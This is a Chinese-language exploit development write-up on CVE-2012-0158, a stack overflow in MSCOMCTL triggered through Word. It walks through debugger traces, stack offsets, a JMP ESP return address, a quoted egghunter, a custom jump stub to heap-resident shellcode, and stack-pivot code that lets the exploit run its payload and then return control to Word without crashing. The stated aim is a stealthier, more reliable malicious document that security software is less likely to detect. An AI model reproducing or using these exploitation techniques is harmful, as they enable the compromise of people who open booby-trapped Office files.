00120e70 275859e4 MSCOMCTL!DllCanUnloadNow+0x2a31
0x00120e70 指向的記憶體就是存放的函式返回地址,當程式執行到ret offset時,當前的ESP暫存器就指向了這類的記憶體地址。
現在需要做的就是找到一個合適的棧頂(ESP)和棧底(EBP),在覆蓋堆疊上一些資料之後,返回到這個棧頂(ESP),程式得以繼續往下執行並且不會導致異常情況的出現。
可以肯定的是隻覆蓋4個位元組的情況下肯定是可以完美退出的,現在就來觀察一下覆蓋4個位元組程式的執行流程,使其依次返回上層函式來確認堆疊分佈情況,記錄有可能的棧頂(ESP)和棧底(ESP)暫存器。
當程式執行到如下程式碼:
eax=8000ffff ebx=002158f0 ecx=08190000 edx=00000000 esi=00190b48 edi=00000000 eip=275e7049 esp=00120ea0 ebp=00120ebc iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286 MSCOMCTL!DLLGetDocumentation+0xd37: 275e7049 c20800 ret 8
堆疊情況如下:
ESP: 00120ea0 275e7361 MSCOMCTL!DLLGetDocumentation+0x104f 00120ea4 00190b6c 00120ea8 08540810 00120eac 08540810 00120eb0 736d7449 00120eb4 00000064 00120eb8 27590000 MSCOMCTL!DllGetClassObject+0x92bc 00120ebc 00120f3c 0:000> kvn # ChildEBP RetAddr Args to Child 00120ebc 275ca8b6 00215ae8 08540810 00215940 MSCOMCTL!DLLGetDocumentation+0xd37 01 00120f3c 2758aee8 002158f0 00000000 08540810 MSCOMCTL!DllGetClassObject+0x43b72 02 00120f6c 27600908 00215940 08540810 00000000 MSCOMCTL!DllGetClassObject+0x41a4 03 00120f80 302e3b3f 00215944 08540810 00000000 MSCOMCTL!DllUnregisterServer+0xc31 04 00121014 30296275 00000000 00000000 0146edbc WINWORD+0x2e3b3f 05 00121068 304c49a1 00000000 00000000 00000001 WINWORD+0x296275 06 001210e0 302e12d6 00000001 00000000 00000000 WINWORD+0x4c49a1 07 0012119c 300443b6 0146c814 00000002 0012156c WINWORD+0x2e12d6
此時 esp=00120ea0 ebp=00120ebc,距離覆蓋點0x00120e6c處有了0x34個位元組可以使用,猜測是可以使用此處來作為覆蓋後返回的棧頂(ESP)和棧底(ESP)。
要明確一點是必須覆蓋足夠的資料才能覆蓋到函式返回地址,否則雖然能夠完美退出,但是無法執行到shellcode中就做了無用功,覆蓋資料長度既不能太大也不能太小,太大無法做到完美退出,太小無法做到覆蓋函式返回地址,這是一個很糾結的問題,需要很多次的分析測試。
接下來就是驗證這個想法,
275c87c1 8bcf mov ecx,edi //把複製資料長度賦給ecx 275c87c3 8b7d08 mov edi,dword ptr [ebp+8] 275c87c6 8bc1 mov eax,ecx //eax會作為一個複製總長度 275c87c8 c1e902 shr ecx,2 //ecx右移2位,相當於除以4 275c87cb f3a5 rep movs dword ptr es:[edi],dword ptr [esi] //開始複製
分析上述程式碼可知,ecx是由edi賦值而來(edi的賦值過程不在本篇的討論範圍,確認是從樣本中讀取而來即可),修改為一個小一些的值:0x2C進行測試,命令格式:
0:000> r edi=0x2c
理論上是能夠保證覆蓋函式返回地址的,接著往下執行,直至:
eax=00000057 ebx=08440810 ecx=08440810 edx=00620001 esi=00190b6c edi=00000000 eip=275c8a56 esp=00120e78 ebp=44444343 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 MSCOMCTL!DllGetClassObject+0x41d12: 275c8a56 c20800 ret 8 0:000> dds esp 00120e78 7ffa4512 00120e7c 00000000 00120e80 4a000000 00120e84 48474747 00120e88 49484848 00120e8c 4a4a4949 00120e90 4b4b4a4a 00120e94 4c4c4b4b 00120e98 00120ebc 00120e9c 00120ebc 00120ea0 275e7361 MSCOMCTL!DLLGetDocumentation+0x104f
堆疊覆蓋了0x2c大小的資料,距離假定的棧頂(ESP):0x00120ea0還有8個位元組,程式接著會跳轉到0x7ffa4512記憶體地址去執行,即JMP ESP,通用利用地址無需解釋。
7ffa4512 ffe4 jmp esp {00120e84} 0:000> dds esp 00120e84 48474747 00120e88 49484848 00120e8c 4a4a4949 00120e90 4b4b4a4a 00120e94 4c4c4b4b 00120e98 00120ebc 00120e9c 00120ebc 00120ea0 275e7361 MSCOMCTL!DLLGetDocumentation+0x104f
程式會跳轉到0x00120e84處執行程式碼,完美退出程式碼就應該寫在此處:
00120e84 83c41c add esp,1Ch 00120e87 8d6c241c lea ebp,[esp+1Ch] 00120e8b c20800 ret 8
測試以後發現經過上述修改之後確實可做到完美退出,為繼續往下分析提供了基礎。
接下來要做什麼?
要回答上面的問題,先來了解目前的情況,有了一個可以完美退出的樣本,可以覆蓋堆疊上一小部分資料,因此距離利用的目標還有一段距離,接下來要做的就是使ShellCode執行起來。
0x3 具體實現
以上部分都是分析驗證部分,真正實現部分是由第三部分來完成,這部分主要完成的工作是完成ShellCode部分的修改和執行,之後能夠完美退出。
0x3.1 Small ShellCode 確認及驗證
需要計算留給我們填寫shellcode的長度是多少?回到覆蓋之前的瞬間,
0:000> r eax=0000002c ebx=08440810 ecx=0000000b edx=00000000 esi=00216408 edi=00120e6c eip=275c87cb esp=00120e30 ebp=00120e40 iopl=0 nv up ei pl nz na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207 MSCOMCTL!DllGetClassObject+0x41a87: //執行複製 275c87cb f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:000> d esi //對應複製的源資料 00216408 00 00 00 00 00 00 00 00-00 00 00 00 12 45 fa 7f .............E.. 00216418 90 90 90 90 90 90 90 90-8b c4 05 10 01 00 00 c7 ................ 00216428 00 24 03 4d 08 e9 5a 00-00 00 6b 65 72 6e 65 6c .$.M..Z...kernel 00216438 33 32 00 df 2d 89 8c 1b-81 7d ef 42 9d 85 85 d6 32..-....}.B.... 0:000> d edi //記憶體複製的目的地址 00120e6c 58 0c 19 00 e4 59 58 27-9c 0e 12 00 1a 70 5e 27 X....YX'.....p^' 00120e7c 6c 0b 19 00 10 08 44 08-00 00 00 00 48 0b 19 00 l.....D.....H... 00120e8c c0 19 38 08 96 c2 5a 27-01 00 00 00 bc 0e 12 00 ..8...Z'........ 00120e9c bc 0e 12 00 61 73 5e 27-6c 0b 19 00 10 08 44 08 ....as^'l.....D. 00120eac 10 08 44 08 49 74 6d 73-64 00 00 00 00 00 59 27 ..D.Itmsd.....Y' 0:000> dds esp //ESP 堆疊情況 00120e30 00000000 00120e34 00190b6c 00120e38 08440810 00120e3c 00008282 00120e40 00120e74 00120e44 275c8a0a MSCOMCTL!DllGetClassObject+0x41cc6 00120e48 00120e6c 00120e4c 00216408 00120e50 00008282 00120e54 00000000 00120e58 00190b6c 00120e5c 08440810 00120e60 6a626f43 00120e64 00000064 00120e68 00008282 00120e6c 00190c58 //從這裡開始往下複製 00120e70 275859e4 MSCOMCTL!DllCanUnloadNow+0x2a31 00120e74 00120e9c 00120e78 275e701a MSCOMCTL!DLLGetDocumentation+0xd08 00120e7c 00190b6c 00120e80 08440810 00120e84 00000000 00120e88 00190b48 00120e8c 083819c0 00120e90 275ac296 MSCOMCTL!DllGetClassObject+0x25552 00120e94 00000001 00120e98 00120ebc 00120e9c 00120ebc //記憶體複製到此處結束 00120ea0 275e7361 MSCOMCTL!DLLGetDocumentation+0x104f
上面程式碼可以看出,Memcpy記憶體複製的源資料為ESI:0x00216408 指向的資料,目的地址為EDI:0x00120e6c,最大能夠填充到的地址為0x00120ea0,現在就可以計算出最大填充的位元組數:0x00120ea0-0x00120e6c=0x34(52),這0x34(52)位元組首先需要減去
275c8a55 leave
275c8a56 ret 8 程式碼的20個位元組,其中leave指令12個位元組,Ret 8指令8個位元組,Jmp Esp 指令需要4個位元組,計算公式就為 0x34(52)- 0x0c- 8 - 4= 0x1c(28)位元組,所以這裡只能填充為Small_ShellCode,圖示如下:
0x1c(28)位元組大小的緩衝區為可供編寫shellcode的區域,這部分ShellCode需要完成的功能是使程式的執行流程跳轉到真正實現利用功能的ShellCode。
0x3.2 編寫Small Shellcode
一個小的Shellcode透過記憶體搜尋或者其他方法來找到真正的Shellcode的過程,一般叫做Egghunrt,相應的這部分程式碼叫做EggSearch。網路上類似的ShellCode是非常多的。Exploit-db網站上就有一個,程式碼如下:
#include <stdio.h> #include <Windows.h> void main() { __asm { ; win32 eggsearch shellcode, 33 bytes ; tested on windows xp sp2, should work on all service packs on win2k, win xp, win2k3 ; (c) 2009 by Georg 'oxff' Wicherski //[bits 32] #define marker 0x1f217767 ; 'gw!\x1f' nop nop nop nop start: xor edx, edx ; edx = 0, pointer to examined address address_loop: inc edx ; edx++, try next address pagestart_check: test dx, 0x0ffc ; are we within the first 4 bytes of a page? jz address_loop ; if so, try next address as previous page might be unreadable ; and the cmp [edx-4], marker might result in a segmentation fault access_check: push edx ; save across syscall push 8h ; eax = 8, syscall nr of AddAtomA pop eax ; ^ int 0x2e ; fire syscall (eax = 8, edx = ptr) cmp al, 0x05 ; is result 0xc0000005? (a bit sloppy) pop edx ; je address_loop ; jmp if result was 0xc0000005 egg_check: cmp dword ptr [edx-4], marker ; is our egg right before examined address? jne address_loop ; if not, try next address egg_execute: inc ebx ; make sure, zf is not set jmp edx ; we found our egg at [edx-4], so we can jmp to edx nop nop nop nop } }
上述程式碼的主要實現的功能是在記憶體中不斷的與設定的標誌位進行比較,若發現相同的位元組,則跳轉到標誌位處執行。標誌位緊接這的就是真正的shellcode。編譯之後發現整個Eggsearch的大小是33個位元組,與我們可控的28個位元組還有幾個位元組的距離,需要對程式碼進行修改判斷,檢視是否最終符合不符合需求。
需要對Eggsearch這段程式碼進行最佳化,程式碼精簡使其最終減小到28個位元組以內,這是一個非常有難度的事情,因為Eggsearch本身程式碼已經是經過最佳化壓縮的,在此基礎上再次壓縮,難度就有些大了。例如push 8,pop eax 這兩句彙編指令等於mov eax,8這句指令,但是前者所佔用了3個機器碼(6a 08 58),後者則佔用了5個機器碼(b8 08 00 00 00),孰優孰劣一目瞭然。
0x3.3 另闢蹊徑編寫獨特Small ShellCode
之前的分析可以發現,最佳化精簡Eggsearch程式碼是非常繁瑣複雜的,很難成功。這時就要考慮是否還有其他更簡便的方法來實現我們的目的,如果存在的話,就不用編寫搜尋記憶體的Eggsearch程式碼,漏洞執行效率高,也減少了被安全軟體檢測到機率。
現在來分析漏洞執行過程中的程式碼:
[I]275c87c6 8bc1 mov eax,ecx 275c87c8 c1e902 shr ecx,2 275c87cb f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 275c87cd 8bc8 mov ecx,eax[/I] 275c87cf 8b4510 mov eax,dword ptr [ebp+10h] 275c87d2 83e103 and ecx,3 275c87d5 6a00 push 0
斜線部分程式碼即為漏洞觸發的關鍵程式碼,實際執行的動作其實是Memcpy()函式。要完成完美退出的目的,需要修改的是ecx的大小,即memcpy()函式複製字串的長度,大小為0x34(52)位元組,上述是已知的條件,觀察下暫存器Esi指向的資料:
0:000> db esi l100 00237790 00 00 00 00 00 00 00 43-43 43 44 44 12 45 fa 7f .......CCCDD.E.. 002377a0 00 00 00 00 00 00 00 4a-47 47 47 48 48 48 48 49 .......JGGGHHHHI 002377b0 49 49 4a 4a 4a 4a 4b 4b-4b 4b 4c 4c 4c 4c 4d 4d IIJJJJKKKKLLLLMM 002377c0 4d 4d 4c 4c 4c 4c 4d 4d-4d 4f 4f 4f 4f 50 50 50 MMLLLLMMMOOOOPPP 002377d0 50 51 51 51 51 52 52 52-52 53 53 53 53 54 54 54 PQQQQRRRRSSSSTTT 002377e0 5555 55 55 55 56 56 56-56 56 57 57 57 57 57 58 UUUUUVVVVVWWWWW 002377f0 58 58 58 58 59 59 59 5a-5a 5a 5a 5b 5b 5b 5b 5b XXXXYYYZZZZ[[[[[ 00237800 5c 5c 5c 5c 5c 5d 5d 5d-98 8a 31 61 61 61 61 6f \\\\\]]]..1aaaao 00237810 70 65 6e 00 e8 11 02 00-00 6a ff e8 08 00 00 00 pen......j...... 00237820 05 35 00 00 00 ff 10 c3-e8 00 00 00 00 58 83 c0 .5...........X.. 00237830 04 2d 77 00 00 00 c3 55-8b ec 52 53 8b 55 08 33 .-w....U..RS.U.3 00237840 c0 f7 d0 32 02 b3 08 d1-e8 73 05 35 20 83 b8 ed ...2.....s.5 ... 00237850 fe cb 75 f3 80 3a 00 74-03 42 eb e7 f7 d0 5b 5a ..u..:.t.B....[Z 00237860 c9 c2 04 00 51 56 57 33-c9 64 8b 35 30 00 00 00 ....QVW3.d.50... 00237870 8b 76 0c 8b 76 1c 8b 46-08 8b 7e 20 8b 36 38 4f .v..v..F..~ .68O 00237880 18 75 f3 5f 5e 59 c3 55-8b ec 57 56 53 51 8b 7d .u._^Y.U..WVSQ.}
斜線部分為完美退出可控資料,但是其後的資料也是在文件中,即也是可控資料。重點來了,如果可以透過一些程式碼的操作,使word程式的執行流程按照我們的想法改變,跳轉到暫存器esi指向的資料下面處進行執行,就不用編寫Eggsearch程式碼。
接著看能否實現,記錄一下暫存器esi的值,esi=0x00237790,當程式執行到:
0:000> p eax=00000057 ebx=08440810 ecx=08440810 edx=00630001 esi=00190b6c edi=00000000 eip=275c8a56 esp=00120e78 ebp=44444343 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 MSCOMCTL!DllGetClassObject+0x41d12: 275c8a56 c20800 ret 8 0:000> dds esp 00120e78 7ffa4512 00120e7c 00000000 00120e80 4a000000 00120e84 48474747 00120e88 49484848 00120e8c 4a4a4949 00120e90 4b4b4a4a 00120e94 4c4c4b4b 00120e98 4d4d4c4c 00120e9c 4c4c4d4d 00120ea0 275e7361 MSCOMCTL!DLLGetDocumentation+0x104f
程式此時馬上就要跳轉到7ffa4512 JMP ESP 指令去執行。搜尋之前儲存的esi的值。
0:000> sa l?fffffff 90 77 23 00 0011fd30 90 77 23 00 98 2f 21 00-10 00 00 00 e8 93 23 00 .w#../!.......#. 0014017c 90 77 23 00 80 01 14 00-80 01 14 00 b0 1f 21 00 .w#...........!. 002162d0 90 77 23 00 38 02 34 08-b4 e1 fd 7f b4 e1 fd 7f .w#.8.4......... 002168f0 90 77 23 00 38 02 34 08-00 00 00 00 00 00 00 00 .w#.8.4.........
反覆這個過程進行測試後發現0x0014017c,這個地址是固定不變的,並且指向的值必是之前儲存的esi,暫存器esi指向了可控的資料,這部分可控資料只是在堆(heap)中並沒有複製到棧上而已,只需要做到使程式在堆中執行即可。另外0x0014017c這個地址在Microsoft Office 2003的其他版本SP0/SP1/SP3,Microsoft Office 2007 SP0/SP1/SP2/SP3中都是穩定不變的,這為完美退出的工作提供了巨大的便利。
剩下的工作就是根據之前的分析編寫相應的彙編程式碼,工作量的問題了,這裡貼出自己編寫的程式碼:
#include <WINDOWS.H> #include <stdlib.h> #include <stdio.h> void main() { __asm{ mov eax,0x0014017c //賦值操作 mov eax,dword ptr [eax] //取出esi的值,eax指向可控資料 add eax,38h //跳過自身這部分程式碼 jmp eax //直接跳往真正的shellcode } }
此時透過12個位元組就完成了Small ShellCode跳往真正shellcode的工作,與28個可修改位元組相差了16個位元組,這是一個很有成就感的工作,短小精悍是shellcode的追求。
0x3.4 收尾工作
真正ShellCode的功能多種多樣,一般文件類的ShellCode無非是生成一個可執行檔案並執行之,網上這部分程式碼也是比較多的,大家可以參考下。先來看下目前的完成了那些工作:
完美退出的程式碼完成。
跳轉程式碼(Small ShellCode)完成。
接下來要做什麼?
想一下就能知道,接下來要做就是對程式碼進行組合,把各部分的功能新增到一起,使其成為一個有機的整體,真正可用的一個文件類漏洞利用。
一般情況下,ShellCode完成主體功能之後就退出了,即呼叫ExitProcess()函式或者類似功能函式來結束程式,但是我們的這個例項要做到完美退出肯定不能這麼做。ShellCode主體功能完成之後需要把執行流程交回到Word程式,之後也不能觸發任何異常,才是最終的效果。
具體來說,遵循的原則就是儘可能的不破壞原始棧,shellCode的所有操作均在堆中完成,解決思路是在儲存原始棧(ESP)之後對棧頂(ESP)進行交換,使當前棧位於堆上,引數等得傳遞不在原始棧中進行,彙編指令是 xchg eax,esp。執行ShellCode主體功能之前需要儲存原始棧(ESP),因為它關係到最終能不能完美退出。ShellCode主體功能完成之後,使用之前儲存的原始棧,進行一系列操作之後,把執行流程交回到Word程式。
相應的虛擬碼如下:
__asm { mov esi,esp mov dword ptr [eax + offset],esi nop nop Nop Xchg eax,esp ;shellcode主體部分 nop nop nop //以下為完美退出程式碼 mov esp,dword ptr [eax + offset] add esp ,1ch lea ebp,dword ptr [esp +1ch] ret 8 }
0x4 總結
至此,我們完成了針對CVE-2012-0158 漏洞的完美退出研究分析,確認此漏洞是可以做到完美退出,並且通用性和適用性都是非常高的,不用考慮作業系統的情況下,能夠針對Microsoft Office 2003和Microsoft 2007,相比於過去的漏洞利用來說是一個很大的進步。只要去認真分析總是可以研究出一些非常有意思的東西。
首先yuange1975的一篇微博勾起了自己很大的好奇心,文件類漏洞能否做到完美退出?如果能做到,又該如何去做?這些都是自己需要解決的問題。
其次選擇一個典型的文件類漏洞進行分析構造,CVE-2012-0158就是一個非常經典的棧溢位漏洞,如何利用棧溢位漏洞覆蓋特定的資料同時又儘可能的少破壞原始的堆疊結構,構造出一個不執行shellcode的情形下的完美退出例子。
第三可控可修改程式碼有限的情況下思考如何執行到真正ShellCode,Eggsearch程式碼最佳化精簡非常有難度,幾乎無解,此時考慮從旁路入手,找到一個通用地址,編寫只針對此漏洞的特殊彙編程式碼並執行到真正的ShellCode之中。
最後執行ShellCode主體功能之前儲存原始棧並儘可能少去破壞原始堆疊結構情況下完成ShellCode的執行,之後恢復堆疊,交回程式執行流程。
附註:
(1)Win32環境下函式呼叫的堆疊之研究
http://wenku.baidu.com/view/668556f90242a8956bece4ac.html.
(2)Win32環境下的堆疊
http://wenku.baidu.com/view/e7d3680e7cd184254b3535c1.html
附件:
解讀天書----漏洞利用中級技巧的分析.doc
相關文章
- BlueKeep 漏洞利用分析2019-09-20
- [原創]京東技術解密讀書筆記2015-10-20解密筆記
- 【讀書筆記】Android平臺的漏洞挖掘和分析2016-06-20筆記Android
- 【原創】InnoDB 和TokuDB的讀寫分析與比較2021-09-09
- 軟體漏洞分析技巧分享2020-08-19
- [原創]簡單分析暴風影音讀取m3u格式檔案漏洞(0day)2010-05-09
- CRLF Injection漏洞的利用與例項分析2020-08-19
- CVE-2015-1538漏洞利用中的Shellcode分析2020-08-19
- mapreduce job提交流程原始碼級分析(二)(原創)2014-04-10原始碼
- 【原創】對Rav
2005中HOOK的初步分析2004-12-07Hook
- [原創] Mysql中 Desc tables 中MUl解釋2009-02-05MySql
- ROP漏洞詳解和利用2022-05-10
- [原創]CVE-2009-3459漏洞POC分析<已更新POC>2009-12-05
- [原創]Java效能優化權威指南讀書思維導圖2015-01-16Java優化
- 關於漏洞挖掘理論的讀書筆記2016-09-20筆記
- 永恆之藍漏洞利用機制分析2020-08-03
- IORegistryIterator競爭條件漏洞分析與利用2020-08-19
- 【原創】autotrace中statistics為0的問題的解決2008-05-11
- (原)豐田的IT系統-讀書筆記2008-02-29筆記
- (原)預測的技法--讀書筆記2007-12-07筆記
- [原創]CVE-2013-2251 Apache Struts 2 高危漏洞重現構造及漏洞原理分析2013-07-19Apache
- [原創]Stuxnet蠕蟲(超級工廠病毒)驅動分析2010-11-20UX
- [原創]Java效能優化權威指南讀書思維導圖22015-01-30Java優化
- [原創]Java效能優化權威指南讀書思維導圖32015-01-30Java優化
- [原創]Java效能優化權威指南讀書思維導圖42015-01-30Java優化
- [原創]Adobe reader 漏洞CVE-2009-4324初步分析2010-01-10
- 原創書寫開篇sqltuning2011-11-04SQL
- 初級安全入門——安全漏洞的檢測與利用2019-03-16
- WordPress網站漏洞利用及漏洞修復解決方案2019-02-24網站
- 《實用演算法的分析與程式設計》的讀書筆記(第1天) (轉)2007-12-13演算法程式設計筆記
- 《實用演算法的分析與程式設計》的讀書筆記(第2天) (轉)2007-12-13演算法程式設計筆記
- cve-2014-0569 漏洞利用分析2020-08-19
- 《精益創業》讀書筆記2016-02-21創業筆記
- [原創] KCP 原始碼分析(上)2024-03-15原始碼
- redis漏洞利用2017-06-21Redis
- ruoyi漏洞利用2024-07-02
- [原創] Linux 中的 nohup 與 &2018-11-29Linux
- RAC中listener的offline現象及解決(原創)2010-07-12